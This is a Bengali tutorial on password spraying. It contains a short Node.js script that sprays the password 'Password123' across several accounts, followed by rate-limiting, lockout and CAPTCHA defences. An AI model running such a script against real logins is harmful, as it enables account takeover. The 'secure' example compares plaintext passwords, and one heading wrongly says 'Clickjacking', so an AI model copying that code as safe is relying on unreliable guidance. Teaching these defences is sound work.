Password Spraying হচ্ছে একটি সাধারণ আক্রমণ পদ্ধতি যেখানে হ্যাকার অনেকগুলো অ্যাকাউন্টে প্রচলিত বা সহজে অনুমানযোগ্য পাসওয়ার্ড ব্যবহার করে লগইন করার চেষ্টা করে। এটি brute-force আক্রমণের মতো তবে এর মধ্যে পার্থক্য হলো brute-force আক্রমণে একটি নির্দিষ্ট অ্যাকাউন্টের জন্য বিভিন্ন পাসওয়ার্ড চেষ্টা করা হয়, যেখানে Password Spraying এ অনেকগুলো অ্যাকাউন্টে একটি বা কিছু সংখ্যক সাধারণ পাসওয়ার্ড ব্যবহার করা হয়।
উদাহরণ:
ধরা যাক, আমাদের একটি ডেমো ওয়েবসাইট আছে:
https://example.com – ডেমো ওয়েবসাইট
এখানে একজন ডেমো ব্যবহারকারী আছে, যার ব্যবহারকারী নাম user@example.com এবং অন্যদিকে, হ্যাকার তার ম্যালিশিয়াস ওয়েবসাইট hackersite.com থেকে আক্রমণ চালাতে চায়।
Step 1: হ্যাকার এর পরিকল্পনা
হ্যাকার একটি সাধারণ পাসওয়ার্ড যেমন “Password123” ব্যবহার করে অনেকগুলো অ্যাকাউন্টে লগইন করার চেষ্টা করে। যেহেতু অনেক ব্যবহারকারী সাধারণ বা দুর্বল পাসওয়ার্ড ব্যবহার করে, তাই কিছু ক্ষেত্রে এটি কার্যকর হতে পারে।
Step 2: অসুরক্ষিত Login ফর্ম
নিচে একটি অসুরক্ষিত login ফর্মের উদাহরণ দেওয়া হলো:
<form action="https://example.com/login" method="POST">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<button type="submit">Login</button>
</form>
এই ফর্মটি হ্যাকারদের কাছে খুবই আকর্ষণীয় কারণ এটি খুব সাধারণ এবং সহজে অনুমানযোগ্য পাসওয়ার্ড ব্যবহার করার সুযোগ দেয়।
Step 3: হ্যাকার এর আক্রমণ
hackersite.com থেকে হ্যাকার নিচের কোড ব্যবহার করে অনেকগুলো অ্যাকাউন্টে পাসওয়ার্ড স্প্রে আক্রমণ চালাতে পারে:
const axios = require('axios');
const usernames = [
'user1@example.com',
'user2@example.com',
'user3@example.com'
];
const password = 'Password123';
usernames.forEach(username => {
axios.post('https://example.com/login', {
username: username,
password: password
})
.then(response => {
console.log(`Login attempt for ${username}: ${response.status}`);
})
.catch(error => {
console.log(`Failed to login ${username}`);
});
});
এই স্ক্রিপ্টটি অনেকগুলো ব্যবহারকারী নামের জন্য একই পাসওয়ার্ড “Password123” দিয়ে লগইন করার চেষ্টা করে। যদি কোনো ব্যবহারকারীর পাসওয়ার্ড সত্যিই “Password123” হয়, তবে হ্যাকার সফলভাবে লগইন করতে পারবে।
সুরক্ষিত Login ফর্ম
Password Spraying আক্রমণ থেকে রক্ষা পাওয়ার জন্য কিছু সিকিউরিটি ব্যবস্থা গ্রহণ করতে হবে:
- অ্যাকাউন্ট Lockout পলিসি: অনেকবার ভুল পাসওয়ার্ড ব্যবহার করলে অ্যাকাউন্ট লক হয়ে যাওয়ার ব্যবস্থা রাখতে হবে। উদাহরণস্বরূপ, ৩-৫ বার ভুল পাসওয়ার্ড দিলে অ্যাকাউন্টটি সাময়িকভাবে লক হয়ে যাবে।
- Rate Limiting: নির্দিষ্ট সময়ের মধ্যে কয়েকবারের বেশি লগইন চেষ্টা করলে লগইন রিকোয়েস্ট রেট সীমিত করতে হবে।
- CAPTCHA ব্যবহার: লগইন ফর্মের সাথে CAPTCHA যুক্ত করা হলে, হ্যাকারদের স্ক্রিপ্ট চালিয়ে অনেকগুলো অ্যাকাউন্টে লগইন করার চেষ্টা করা কঠিন হয়ে পড়বে।
সুরক্ষিত কোড উদাহরণ:
নিচে একটি সুরক্ষিত login ফর্মের উদাহরণ দেওয়া হলো:
const rateLimit = require('express-rate-limit');
// Login রুটের জন্য রেট লিমিটার সেটআপ
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // ১৫ মিনিট
max: 5, // সর্বোচ্চ ৫টি চেষ্টা
message: "Too many login attempts from this IP, please try again after 15 minutes"
});
// Express অ্যাপের জন্য লগইন রুট
app.post('/login', loginLimiter, (req, res) => {
const { username, password } = req.body;
// সঠিক ইউজার এবং পাসওয়ার্ড যাচাই
const user = users.find(u => u.username === username);
if (user && user.password === password) {
// সফল লগইন
res.status(200).send('Login successful');
} else {
// ভুল পাসওয়ার্ড চেষ্টা করলে
res.status(401).send('Invalid username or password');
}
});
Clickjacking থেকে সুরক্ষা:
উপরের উদাহরণে, আমরা একটি Rate Limiting পদ্ধতি ব্যবহার করেছি যা নির্দিষ্ট সময়ের মধ্যে নির্দিষ্ট সংখ্যক চেষ্টা করার অনুমতি দেয়। এছাড়া, CAPTCHA এবং অ্যাকাউন্ট লকআউট পলিসি সহ আরো অন্যান্য নিরাপত্তা ব্যবস্থা ব্যবহার করা উচিত।
সংক্ষেপে:
Password Spraying আক্রমণ প্রতিরোধ করতে হলে লগইন সিস্টেমকে সুরক্ষিত করার জন্য বিভিন্ন উপায়ে যাচাই করা প্রয়োজন, যেমন রেট লিমিটিং, অ্যাকাউন্ট লকআউট পলিসি, এবং CAPTCHA ইন্টিগ্রেশন। এভাবে আপনার অ্যাপ্লিকেশনকে Password Spraying এর মত আক্রমণ থেকে সুরক্ষিত রাখা যাবে।